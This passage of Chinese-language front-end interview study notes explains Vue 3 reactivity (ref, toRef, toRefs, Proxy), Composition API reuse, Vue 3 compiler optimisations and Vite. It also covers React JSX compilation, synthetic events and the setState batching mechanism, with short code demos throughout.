  • 将响应式对象(reactive封装的)转化为普通对象
  • 对象的每个属性都是对象的ref
  • 两者保持引用关系

合成函数返回响应式对象

最佳使用方式

  • reactive做对象的响应式,用ref做值类型响应式(基本类型)
  • setup中返回toRefs(state),或者toRef(state, 'prop')
  • ref的变量命名都用xxRef
  • 合成函数返回响应式对象时,使用toRefs,有助于使用方对数据进行解构时,不丢失响应式
<template>
    <p>toRef demo - {{ageRef}} - {{state.name}} {{state.age}}</p>
</template>

<script>
import { ref, toRef, reactive } from 'vue'

export default {
    name: 'ToRef',
    setup() {
        const state = reactive({
            age: 20,
            name: 'test'
        })

        const age1 = computed(() => {
            return state.age + 1
        })

        // toRef 如果用于普通对象(非响应式对象),产出的结果不具备响应式
        // const state = {
        //     age: 20,
        //     name: 'test'
        // }
        // 一个响应式对象state其中一个属性要单独拿出来实现响应式用toRef
        const ageRef = toRef(state, 'age')

        setTimeout(() => {
            state.age = 25
        }, 1500)

        setTimeout(() => {
            ageRef.value = 30 // .value 修改值
        }, 3000)

        return {
            state,
            ageRef
        }
    }
}
</script>
<template>
    <p>toRefs demo {{age}} {{name}}</p>
</template>

<script>
import { ref, toRef, toRefs, reactive } from 'vue'

export default {
    name: 'ToRefs',
    setup() {
        const state = reactive({
            age: 20,
            name: 'test'
        })

        const stateAsRefs = toRefs(state) // 将响应式对象,变成普通对象

        // const { age: ageRef, name: nameRef } = stateAsRefs // 每个属性,都是 ref 对象
        // return {
        //     ageRef,
        //     nameRef
        // }

        setTimeout(() => {
            state.age = 25
        }, 1500)

        return stateAsRefs
    }
}
</script>

# 深入理解为什么需要ref、toRef、toRefs

为什么需要用 ref

  • 返回值类型,会丢失响应式
  • 如在setupcomputed、合成函数,都有可能返回值类型
  • Vue如不定义ref,用户将制造ref,反而更混乱

为何ref需要.value属性

  • ref是一个对象(不丢失响应式),value存储值
  • 通过.value属性的getset实现响应式
  • 用于模板、reactive时,不需要.value,其他情况都要

为什么需要toRef和toRefs

  • 初衷:不丢失响应式的情况下,把对象数据 分解/扩散
  • 前端:针对的是响应式对象(reactive封装的)非普通对象
  • 注意:不创造响应式,而是延续响应式
<template>
    <p>why ref demo {{state.age}} - {{age1}}</p>
</template>

<script>
import { ref, toRef, toRefs, reactive, computed } from 'vue'

function useFeatureX() {
    const state = reactive({
        x: 1,
        y: 2
    })

    return toRefs(state)
}

export default {
    name: 'WhyRef',
    setup() {
        // 解构不丢失响应式
        const { x, y } = useFeatureX()

        const state = reactive({
            age: 20,
            name: 'test'
        })

        // computed 返回的是一个类似于 ref 的对象,也有 .value
        const age1 = computed(() => {
            return state.age + 1
        })

        setTimeout(() => {
            state.age = 25
        }, 1500)

        return {
            state,
            age1,
            x,
            y
        }
    }
}
</script>

# vue3升级了哪些重要功能

1. createApp

// vue2
const app = new Vue({/**选项**/})
Vue.use(/****/)
Vue.mixin(/****/)
Vue.component(/****/)
Vue.directive(/****/)

// vue3
const app = createApp({/**选项**/})
app.use(/****/)
app.mixin(/****/)
app.component(/****/)
app.directive(/****/)

2. emits属性

// 父组件
<Hello :msg="msg" @onSayHello="sayHello">

// 子组件
export default {
    name: 'Hello',
    props: {
        msg: String
    },
    emits: ['onSayHello'], // 声明emits
    setup(props, {emit}) {
        emit('onSayHello', 'aaa')
    }
}

3. 多事件

<!-- 定义多个事件 -->
<button @click="one($event),two($event)">提交</button>

4. Fragment

<!-- vue2 -->
<template>
    <div>
        <h2>{{title}}</h2>
        <p>test</p>
    </div>
</template>

<!-- vue3:不在使用div节点包裹 -->
<template>
    <h2>{{title}}</h2>
    <p>test</p>
</template>

5. 移除.sync

<!-- vue2 -->
<MyComponent :title.sync="title" />

<!-- vue3 简写 -->
<MyComponent v-model:title="title" />
<!-- 非简写 -->
<MyComponent :title="title" @update:title="title = $event" />

.sync用法

父组件把属性给子组件,子组件修改了后还能同步到父组件中来

<template>
  <button @click="close">关闭</button>
</template>
<script>
export default {
    props: {
        isVisible: {
            type: Boolean,
            default: false
        }
    },
    methods: {
        close () {
            this.$emit('update:isVisible', false);
        }
    }
};
</script>
<!-- 父组件使用 -->
<chlid-component :isVisible.sync="isVisible"></chlid-component>
<text-doc :title="doc.title" @update:title="doc.title = $event"></text-doc>

<!-- 为了方便期间,为这种模式提供一个简写 .sync -->
<text-doc :title.sync="doc.title" />

6. 异步组件的写法

// vue2写法
new Vue({
    components: {
        'my-component': ()=>import('./my-component.vue')
    }
})
// vue3写法
import {createApp, defineAsyncComponent} from 'vue'

export default {
    components: {
        AsyncComponent: defineAsyncComponent(()=>import('./AsyncComponent.vue'))
    }
}

7. 移除filter

<!-- 以下filter在vue3中不可用了 -->

<!-- 在花括号中 -->
{{message | capitalize}}

<!-- 在v-bind中 -->
<div v-bind:id="rawId | formatId"></div>

8. Teleport

<button @click="modalOpen = true">
 open
</button>

<!-- 通过teleport把弹窗放到body下 -->
<teleport to="body">
 <div v-if="modalOpen" classs="modal">
   <div>
     teleport弹窗,父元素是body
     <button @click="modalOpen = false">close</button>
   </div>
 </div>
</teleport>

9. Suspense

<Suspense>
 <template>
    <!-- 异步组件 -->
   <Test1 />  
 </template>
 <!-- fallback是一个具名插槽,即Suspense内部有两个slot,一个具名插槽fallback -->
 <template #fallback>
    loading...
 </template>
</Suspense>

10. Composition API

  • reactive
  • ref
  • readonly
  • watchwatchEffect
  • setup
  • 生命周期钩子函数

# Composition API 如何实现逻辑复用

  • 抽离逻辑代码到一个函数
  • 函数命名约定为useXx格式(React Hooks也是)
  • setup中引用useXx函数
<template>
    <p>mouse position {{x}} {{y}}</p>
</template>

<script>
import { reactive } from 'vue'
import useMousePosition from './useMousePosition'
// import useMousePosition2 from './useMousePosition'

export default {
    name: 'MousePosition',
    setup() {
        const { x, y } = useMousePosition()
        return {
            x,
            y
        }

        // const state = useMousePosition2()
        // return {
        //     state
        // }
    }
}
</script>
import { reactive, ref, onMounted, onUnmounted } from 'vue'

function useMousePosition() {
    const x = ref(0)
    const y = ref(0)

    function update(e) {
        x.value = e.pageX
        y.value = e.pageY
    }

    onMounted(() => {
        console.log('useMousePosition mounted')
        window.addEventListener('mousemove', update)
    })

    onUnmounted(() => {
        console.log('useMousePosition unMounted')
        window.removeEventListener('mousemove', update)
    })

    // 合成函数尽量返回ref或toRefs(state)  state = reactive({})
    // 这样在使用的时候可以解构但不丢失响应式
    return {
        x,
        y
    }
}

// function useMousePosition2() {
//     const state = reactive({
//         x: 0,
//         y: 0
//     })

//     function update(e) {
//         state.x = e.pageX
//         state.y = e.pageY
//     }

//     onMounted(() => {
//         console.log('useMousePosition mounted')
//         window.addEventListener('mousemove', update)
//     })

//     onUnmounted(() => {
//         console.log('useMousePosition unMounted')
//         window.removeEventListener('mousemove', update)
//     })

//     return state
// }

export default useMousePosition
// export default useMousePosition2

# Vue3如何实现响应式

  • 回顾vue2Object.defineProperty
  • 缺点
    • 深度监听对象需要一次性递归
    • 无法监听新增属性、删除属性(Vue.setVue.delete)
    • 无法监听原生数组,需要特殊处理
  • 学习proxy语法
  • Vue3中如何使用proxy实现响应式

# Proxy 基本使用

// const data = {
//     name: 'zhangsan',
//     age: 20,
// }
const data = ['a', 'b', 'c']

const proxyData = new Proxy(data, {
    get(target, key, receiver) {
        // 只处理本身(非原型的)属性
        const ownKeys = Reflect.ownKeys(target)
        if (ownKeys.includes(key)) {
            console.log('get', key) // 监听
        }

        const result = Reflect.get(target, key, receiver)
        return result // 返回结果
    },
    set(target, key, val, receiver) {
        // 重复的数据,不处理
        if (val === target[key]) {
            return true
        }

        const result = Reflect.set(target, key, val, receiver)
        console.log('set', key, val)
        // console.log('result', result) // true
        return result // 是否设置成功
    },
    deleteProperty(target, key) {
        const result = Reflect.deleteProperty(target, key)
        console.log('delete property', key)
        // console.log('result', result) // true
        return result // 是否删除成功
    }
})

# vue3用Proxy 实现响应式

  • 深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • 可监听新增/删除属性
  • 可监听数组变化
// 创建响应式
function reactive(target = {}) {
    if (typeof target !== 'object' || target == null) {
        // 不是对象或数组,则返回
        return target
    }

    // 代理配置
    const proxyConf = {
        get(target, key, receiver) {
            // 只处理本身(非原型的)属性
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('get', key) // 监听
            }
    
            const result = Reflect.get(target, key, receiver)
        
            // 深度监听
            // 性能如何提升的?获取到哪一层才触发响应式get,不是一次性递归
            return reactive(result)
        },
        set(target, key, val, receiver) {
            // 重复的数据,不处理
            if (val === target[key]) {
                return true
            }
    
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('已有的 key', key)
            } else {
                console.log('新增的 key', key)
            }

            const result = Reflect.set(target, key, val, receiver)
            console.log('set', key, val)
            // console.log('result', result) // true
            return result // 是否设置成功
        },
        deleteProperty(target, key) {
            const result = Reflect.deleteProperty(target, key)
            console.log('delete property', key)
            // console.log('result', result) // true
            return result // 是否删除成功
        }
    }

    // 生成代理对象
    const observed = new Proxy(target, proxyConf)
    return observed
}

// 测试数据
const data = {
    name: 'zhangsan',
    age: 20,
    info: {
        city: 'shenshen',
        a: {
            b: {
                c: {
                    d: {
                        e: 100
                    }
                }
            }
        }
    }
}

const proxyData = reactive(data)

# v-model参数的用法

<!-- UserInfo组件 -->
<template>
    <input :value="name" @input="$emit('update:name', $event.target.value)"/>
    <input :value="age" @input="$emit('update:age', $event.target.value)"/>
</template>

<script>
export default {
    name: 'UserInfo',
    props: {
        name: String,
        age: String
    }
}
</script>
<!-- 使用 -->
<user-info
    v-model:name="name"
    v-model:age="age"
></user-info>

# watch和watchEffect的区别

  • 两者都可以监听data属性变化
  • watch需要明确监听哪个属性
  • watchEffect会根据其中的属性,自动监听其变化
<template>
    <p>watch vs watchEffect</p>
    <p>{{numberRef}}</p>
    <p>{{name}} {{age}}</p>
</template>

<script>
import { reactive, ref, toRefs, watch, watchEffect } from 'vue'

export default {
    name: 'Watch',
    setup() {
        const numberRef = ref(100)
        const state = reactive({
            name: 'test',
            age: 20
        })

        watchEffect(() => {
            // 初始化时,一定会执行一次(收集要监听的数据)
            console.log('hello watchEffect')
        })
        watchEffect(() => {
            console.log('state.name', state.name)
        })
        watchEffect(() => {
            console.log('state.age', state.age)
        })
        watchEffect(() => {
            console.log('state.age', state.age)
            console.log('state.name', state.name)
        })
        setTimeout(() => {
            state.age = 25
        }, 1500)
        setTimeout(() => {
            state.name = 'testA'
        }, 3000)
        

        // ref直接写
        // watch(numberRef, (newNumber, oldNumber) => {
        //     console.log('ref watch', newNumber, oldNumber)
        // }
        // // , {
        // //     immediate: true // 初始化之前就监听,可选
        // // }
        // )

        // setTimeout(() => {
        //     numberRef.value = 200
        // }, 1500)

        // watch(
        //     // 第一个参数,确定要监听哪个属性
        //     () => state.age,

        //     // 第二个参数,回调函数
        //     (newAge, oldAge) => {
        //         console.log('state watch', newAge, oldAge)
        //     },

        //     // 第三个参数,配置项
        //     {
        //         immediate: true, // 初始化之前就监听,可选
        //         // deep: true // 深度监听
        //     }
        // )

        // setTimeout(() => {
        //     state.age = 25
        // }, 1500)
        // setTimeout(() => {
        //     state.name = 'PoetryA'
        // }, 3000)

        return {
            numberRef,
            ...toRefs(state)
        }
    }
}
</script>

# setup中如何获取组件实例

  • setup和其他composition API中没有this
  • 通过getCurrentInstance获取当前实例
  • 若使用options API可以照常使用this
import { onMounted, getCurrentInstance } from 'vue'

export default {
    name: 'GetInstance',
    data() {
        return {
            x: 1,
            y: 2
        }
    }, 
    setup() { // setup是created beforeCreate 合集 组件还没正式初始化
        console.log('this1', this) // undefined

        onMounted(() => {
            console.log('this in onMounted', this) // undefined
            console.log('x', instance.data.x) // 1  onMounted中组件已经初始化了
        })
 
        const instance = getCurrentInstance()
        console.log('instance', instance)
    },
    mounted() {
        console.log('this2', this)
        console.log('y', this.y)
    }
}

# Vue3为何比Vue2快

  • proxy响应式:深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • PatchFlag 动态节点做标志
  • HoistStatic 将静态节点的定义,提升到父作用域,缓存起来。多个相邻的静态节点,会被合并起来
  • CacheHandler 事件缓存
  • SSR优化: 静态节点不走vdom逻辑,直接输出字符串,动态节点才走
  • Tree-shaking 根据模板的内容动态import不同的内容,不需要就不import

# 什么是PatchFlag

  • 模板编译时,动态节点做标记
  • 标记,分为不同类型,如TextPROPSCLASS
  • diff算法时,可区分静态节点,以及不同类型的动态节点

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->

<div>
  <span>hello vue3</span>
  <span>{{msg}}</span>
  <span :class="name">poetry</span>
  <span :id="name">poetry</span>
  <span :id="name">{{msg}}</span>
  <span :id="name" :msg="msg">poetry</span>
</div>
// 编译后结果

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, normalizeClass as _normalizeClass, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _createElementVNode("span", null, "hello vue3"),
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */), // 文本标记1
    _createElementVNode("span", {
      class: _normalizeClass(_ctx.name)
    }, "poetry", 2 /* CLASS */), // class标记2
    _createElementVNode("span", { id: _ctx.name }, "poetry", 8 /* PROPS */, ["id"]), // 属性props标记8
    _createElementVNode("span", { id: _ctx.name }, _toDisplayString(_ctx.msg), 9 /* TEXT, PROPS */, ["id"]), // 文本和属性组合标记9
    _createElementVNode("span", {
      id: _ctx.name,
      msg: _ctx.msg
    }, "poetry", 8 /* PROPS */, ["id", "msg"]) // 属性组合标记
  ]))
}

# 什么是HoistStatic和CacheHandler

HoistStatic

  • 将静态节点的定义,提升到父作用域,缓存起来
  • 多个相邻的静态节点,会被合并起来
  • 典型的拿空间换时间的优化策略
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msg}}</span>
</div>
// 编译结果

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

// 之后函数怎么执行,这些变量都不会被重复定义一遍
const _hoisted_1 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_2 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)
const _hoisted_3 = /*#__PURE__*/_createElementVNode("span", null, "hello vue3", -1 /* HOISTED */)

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _hoisted_1,
    _hoisted_2,
    _hoisted_3,
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
  ]))
}
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启hoistStatic -->
<!-- 当相同的节点达到一定阈值后会被vue3合并起来 -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msg}}</span>
</div>
// 编译之后

import { createElementVNode as _createElementVNode, toDisplayString as _toDisplayString, createStaticVNode as _createStaticVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

// 多个相邻的静态节点,会被合并起来
const _hoisted_1 = /*#__PURE__*/_createStaticVNode("<span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span>", 10)

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _hoisted_1,
    _createElementVNode("span", null, _toDisplayString(_ctx.msg), 1 /* TEXT */)
  ]))
}

CacheHandler 缓存事件

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启cacheHandler -->
<div>
  <span @click="clickHandler">hello vue3</span>
</div>
// 编译之后

import { createElementVNode as _createElementVNode, openBlock as _openBlock, createElementBlock as _createElementBlock } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _createElementVNode("span", {
      onClick: _cache[0] || (_cache[0] = (...args) => (_ctx.clickHandler && _ctx.clickHandler(...args)))
    }, "hello vue3")
  ]))
}

# SSR和Tree-shaking的优化

SSR优化

  • 静态节点直接输出,绕过了vdom
  • 动态节点,还是需要动态渲染
<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果:options开启ssr -->
<div>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>hello vue3</span>
  <span>{{msgs}}</span>
</div>
// 编译之后

import { mergeProps as _mergeProps } from "vue"
import { ssrRenderAttrs as _ssrRenderAttrs, ssrInterpolate as _ssrInterpolate } from "vue/server-renderer"

export function ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) {
  const _cssVars = { style: { color: _ctx.color }}
  _push(`<div${
    _ssrRenderAttrs(_mergeProps(_attrs, _cssVars))
  }><span>hello vue3</span><span>hello vue3</span><span>hello vue3</span><span>${ // 静态节点直接输出
    _ssrInterpolate(_ctx.msgs)
  }</span></div>`)
}

Tree Shaking优化

编译时,根据不同的情况,引入不同的API,不会全部引用

<!-- https://vue-next-template-explorer.netlify.app 中打开查看编译结果 -->
<div>
  <span v-if="msg">hello vue3</span>
  <input v-model="msg" />
</div>
// 编译之后

// 模板编译会根据模板写法 指令 插值以及用了特别的功能去动态的import相应的接口,需要什么就import什么,这就是tree shaking
import { openBlock as _openBlock, createElementBlock as _createElementBlock, createCommentVNode as _createCommentVNode, vModelText as _vModelText, createElementVNode as _createElementVNode, withDirectives as _withDirectives } from "vue"

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    (_ctx.msg)
      ? (_openBlock(), _createElementBlock("span", { key: 0 }, "hello vue3"))
      : _createCommentVNode("v-if", true),
    _withDirectives(_createElementVNode("input", {
      "onUpdate:modelValue": $event => ((_ctx.msg) = $event)
    }, null, 8 /* PROPS */, ["onUpdate:modelValue"]), [
      [_vModelText, _ctx.msg]
    ])
  ]))
}

# Vite 为什么启动非常快

  • 开发环境使用Es6 Module,无需打包,非常快
  • 生产环境使用rollup,并不会快很多

ES Module 在浏览器中的应用

<p>基本演示</p>
<script type="module">
    import add from './src/add.js'

    const res = add(1, 2)
    console.log('add res', res)
</script>
<script type="module">
    import { add, multi } from './src/math.js'
    console.log('add res', add(10, 20))
    console.log('multi res', multi(10, 20))
</script>
<p>外链引用</p>
<script type="module" src="./src/index.js"></script>
<p>远程引用</p>
<script type="module">
    import { createStore } from 'https://unpkg.com/redux@latest/es/redux.mjs' // es module规范mjs
    console.log('createStore', createStore)
</script>
<p>动态引入</p>
<button id="btn1">load1</button>
<button id="btn2">load2</button>

<script type="module">
    document.getElementById('btn1').addEventListener('click', async () => {
        const add = await import('./src/add.js')
        const res = add.default(1, 2)
        console.log('add res', res)
    })
    document.getElementById('btn2').addEventListener('click', async () => {
        const { add, multi } = await import('./src/math.js')
        console.log('add res', add(10, 20))
        console.log('multi res', multi(10, 20))
    })
</script>

# Composition API 和 React Hooks 的对比

  • 前者setup(相当于createdbeforeCreate的合集)只会调用一次,而React Hooks函数在渲染过程中会被多次调用
  • Composition API无需使用useMemouseCallback,因为setup只会调用一次,在setup闭包中缓存了变量
  • Composition API无需顾虑调用顺序,而React Hooks需要保证hooks的顺序一致(比如不能放在循环、判断里面)
  • Composition APIrefreactiveuseState难理解

# 6 React

# JSX本质

  • React.createElementh函数,返回vnode
  • 第一个参数,可能是组件,也可能是html tag
  • 组件名,首字母必须是大写(React规定)
// React.createElement写法
React.createElement('tag', null, [child1,child2])
React.createElement('tag', props, child1,child2,child3)
React.createElement(Comp, props, child1,child2,'文本节点')
// jsx基本用法
<div className="container">
  <p>tet</p>
  <img src={imgSrc} />
</div>

// 编译后 https://babeljs.io/repl
React.createElement(
  "div",
  {
    className: "container"
  },
  React.createElement("p", null, "tet"),
  React.createElement("img", {
    src: imgSrc
  })
);
// jsx style
const styleData = {fontSize:'20px',color:'#f00'}
const styleElem = <p style={styleData}>设置style</p>

// 编译后
const styleData = {
  fontSize: "20px",
  color: "#f00"
};
const styleElem = React.createElement(
  "p",
  {
    style: styleData
  },
  "\u8BBE\u7F6Estyle"
);
// jsx加载组件
const app = <div>
    <Input submitTitle={onSubmitTitle} />
    <List list={list} />
</div>

// 编译后
const app = React.createElement(
  "div",
  null,
  React.createElement(Input, {
    submitTitle: onSubmitTitle
  }),
  React.createElement(List, {
    list: list
  })
);
// jsx事件
const eventList = <p onClick={this.clickHandler}>text</p>

// 编译后
const eventList = React.createElement(
  "p",
  {
    onClick: (void 0).clickHandler
  },
  "text"
);
// jsx列表
const listElem = <ul>
{
  this.state.list.map((item,index)=>{
    return <li key={index}>index:{index},title:{item.title}</li>
  })
 }
</ul>

// 编译后

const listElem = React.createElement(
  "ul",
  null,
  (void 0).state.list.map((item, index) => {
    return React.createElement(
      "li",
      {
        key: index
      },
      "index:",
      index,
      ",title:",
      item.title
    );
  })
);

# React合成事件机制

  • React16事件绑定到document
  • React17事件绑定到root组件上,有利于多个react版本共存,例如微前端
  • event不是原生的,是SyntheticEvent合成事件对象
  • Vue不同,和DOM事件也不同

合成事件图示

为何需要合成事件

  • 更好的兼容性和跨平台,如react native
  • 挂载到documentroot上,减少内存消耗,避免频繁解绑
  • 方便事件的统一管理(如事务机制)
// 获取 event
clickHandler3 = (event) => {
    event.preventDefault() // 阻止默认行为
    event.stopPropagation() // 阻止冒泡
    console.log('target', event.target) // 指向当前元素,即当前元素触发
    console.log('current target', event.currentTarget) // 指向当前元素,假象!!!

    // 注意,event 其实是 React 封装的。可以看 __proto__.constructor 是 SyntheticEvent 组合事件
    console.log('event', event) // 不是原生的 Event ,原生的 MouseEvent
    console.log('event.__proto__.constructor', event.__proto__.constructor)

    // 原生 event 如下。其 __proto__.constructor 是 MouseEvent
    console.log('nativeEvent', event.nativeEvent)
    console.log('nativeEvent target', event.nativeEvent.target)  // 指向当前元素,即当前元素触发
    console.log('nativeEvent current target', event.nativeEvent.currentTarget) // 指向 document !!!

    // 1. event 是 SyntheticEvent ,模拟出来 DOM 事件所有能力
    // 2. event.nativeEvent 是原生事件对象
    // 3. 所有的事件,都被挂载到 document 上
    // 4. 和 DOM 事件不一样,和 Vue 事件也不一样
}

# setState和batchUpdate机制

  • setState在react事件、生命周期中是异步的(在react上下文中是异步);在setTimeout、自定义DOM事件中是同步的
  • 有时合并(对象形式setState({}) => 通过Object.assign形式合并对象),有时不合并(函数形式setState((prevState,nextState)=>{})

核心要点

1.setState主流程

  • setState是否是异步还是同步,看是否能命中batchUpdate机制,判断isBatchingUpdates
  • 哪些能命中batchUpdate机制
    • 生命周期
    • react中注册的事件和它调用的函数
    • 总之在react的上下文中
  • 哪些不能命中batchUpdate机制
    • setTimeoutsetInterval
    • 自定义DOM事件
    • 总之不在react的上下文中,react管不到的

  1. batchUpdate机制

// setState batchUpdate原理模拟
let isBatchingUpdate = true;

let queue = [];
let state = {number:0};
function setState(newSate){
  //state={...state,...newSate}
  // setState异步更新
  if(isBatchingUpdate){
    queue.push(newSate);
  }else{
    // setState同步更新
    state={...state,...newSate}
  }   
}

// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
  isBatchingUpdate=true; // 批量更新标志

  /**我们自己逻辑开始 */
  setState({number:state.number+1});
  setState({number:state.number+1});
  console.log(state); // 0
  setState({number:state.number+1});
  console.log(state); // 0
  /**我们自己逻辑结束 */

  state= queue.reduce((newState,action)=>{
    return {...newState,...action}
  },state); 

  isBatchingUpdate=false; // 执行结束设置false
}
handleClick();
console.log(state); // 1
  1. transaction事务机制

// setState现象演示

import React from 'react'

// 函数组件(后面会讲),默认没有 state
class StateDemo extends React.Component {
    constructor(props) {
        super(props)

        // 第一,state 要在构造函数中定义
        this.state = {
            count: 0
        }
    }
    render() {
        return <div>
            <p>{this.state.count}</p>
            <button onClick={this.increase}>累加</button>
        </div>
    }
    increase = () => {
        // // 第二,不要直接修改 state ,使用不可变值 ----------------------------
        // // this.state.count++ // 错误
        // this.setState({
        //     count: this.state.count + 1 // SCU
        // })
        // 操作数组、对象的的常用形式

        // 第三,setState 可能是异步更新(有可能是同步更新) ----------------------------
        
        // this.setState({
        //     count: this.state.count + 1
        // }, () => {
        //     // 联想 Vue $nextTick - DOM
        //     console.log('count by callback', this.state.count) // 回调函数中可以拿到最新的 state
        // })
        // console.log('count', this.state.count) // 异步的,拿不到最新值

        // // setTimeout 中 setState 是同步的
        // setTimeout(() => {
        //     this.setState({
        //         count: this.state.count + 1
        //     })
        //     console.log('count in setTimeout', this.state.count)
        // }, 0)

        // 自己定义的 DOM 事件,setState 是同步的。再 componentDidMount 中

        // 第四,state 异步更新的话,更新前会被合并 ----------------------------
        
        // 传入对象,会被合并(类似 Object.assign )。执行结果只一次 +1
        // this.setState({
        //     count: this.state.count + 1
        // })
        // this.setState({
        //     count: this.state.count + 1
        // })
        // this.setState({
        //     count: this.state.count + 1
        // })
        
        // 传入函数,不会被合并。执行结果是 +3
        this.setState((prevState, props) => {
            return {
                count: prevState.count + 1
            }
        })
        this.setState((prevState, props) => {
            return {
                count: prevState.count + 1
            }
        })
        this.setState((prevState, props) => {
            return {
                count: prevState.count + 1
            }
        })
    }
    // bodyClickHandler = () => {
    //     this.setState({
    //         count: this.state.count + 1
    //     })
    //     console.log('count in body event', this.state.count)
    // }
    // componentDidMount() {
    //     // 自己定义的 DOM 事件,setState 是同步的
    //     document.body.addEventListener('click', this.bodyClickHandler)
    // }
    // componentWillUnmount() {
    //     // 及时销毁自定义 DOM 事件
    //     document.body.removeEventListener('click', this.bodyClickHandler)
    //     // clearTimeout
    // }
}

export default StateDemo

// -------------------------- 我是分割线 -----------------------------

// 不可变值(函数式编程,纯函数) - 数组
// const list5Copy = this.state.list5.slice()
// list5Copy.splice(2, 0, 'a') // 中间插入/删除
// this.setState({
//     list1: this.state.list1.concat(100), // 追加
//     list2: [...this.state.list2, 100], // 追加
//     list3: this.state.list3.slice(0, 3), // 截取
//     list4: this.state.list4.filter(item => item > 100), // 筛选
//     list5: list5Copy // 其他操作
// })
// // 注意,不能直接对 this.state.list 进行 push pop splice 等,这样违反不可变值

// 不可变值 - 对象
// this.setState({
//     obj1: Object.assign({}, this.state.obj1, {a: 100}),
//     obj2: {...this.state.obj2, a: 100}
// })
// // 注意,不能直接对 this.state.obj 进行属性设置,这样违反不可变值
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
  // setState传入对象会合并,后面覆盖前面的Object.assign({})
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 
  console.log(this.state.val)
  // 第 1 次 log
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
  console.log(this.state.val)
  // 第 2 次 log
  setTimeout(() => {
    // 到这里this.state.val结果等于1了
    // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}

// 答案:0, 0, 2, 3

# 根据jsx写出vnode和render函数

<!-- jsx -->
<div className="container">
  <p onClick={onClick} data-name="p1">
    hello <b>{name}</b>
  </p>
  <img src={imgSrc} />
  <MyComponent title={title}></MyComponent>
</div>

注意

  • 注意JSX中的常量和变量
  • 注意JSX中的HTML tag和自定义组件
const vnode = {
  tag: 'div',
  props: {
    className: 'container'
  },
  children: [
    // <p>
    {
      tag: 'p',
      props: {
        dataset: {
          name: 'p1'
        },
        on: {
          click: onClick // 变量
        }
      },
      children: [
        'hello',
        {
          tag: 'b',
          props: {},
          children: [name] // name变量
        }
      ]
    },
    // <img />
    {
      tag: 'img',
      props: {
        src: imgSrc // 变量
      },
      children: [/**无子节点**/]
    },
    // <MyComponent>
    {
      tag: MyComponent, // 变量
      props: {
        title: title, // 变量
      },
      children: [/**无子节点**/]
    }
  ]
}
// render函数
function render() {
  // h(tag, props, children)
  return h('div', {
    props: {
      className: 'container'
    }
  }, [

    // p
    h('p', {
      dataset: {
        name: 'p1'
      },
      on: {
        click: onClick
      }
    }, [
      'hello',
      h('b', {}, [name])
    ])

    // img
    h('img', {
      props: {
        src: imgSrc
      }
    }, [/**无子节点**/])

    // MyComponent
    h(MyComponent, {
      title: title
    }, [/**无子节点**/])
  ]
  )
}

在react中jsx编译后

// 使用https://babeljs.io/repl编译后效果

React.createElement(
  "div",
  {
    className: "container"
  },
  React.createElement(
    "p",
    {
      onClick: onClick,
      "data-name": "p1"
    },
    "hello ",
    React.createElement("b", null, name)
  ),
  React.createElement("img", {
    src: imgSrc
  }),
  React.createElement(MyComponent, {
    title: title
  })
);

# 虚拟DOM(vdom)真的很快吗

  • virutal DOM,虚拟DOM
  • 用JS对象模拟DOM节点数据
  • vdom并不快,JS直接操作DOM才是最快的
    • vue为例,data变化 => vnode diff => 更新DOM 肯定是比不过直接操作DOM节点快的
  • 但是"数据驱动视图"要有合适的技术方案,不能全部DOM重建
  • dom就是目前最合适的技术方案(并不是因为它快,而是合适)
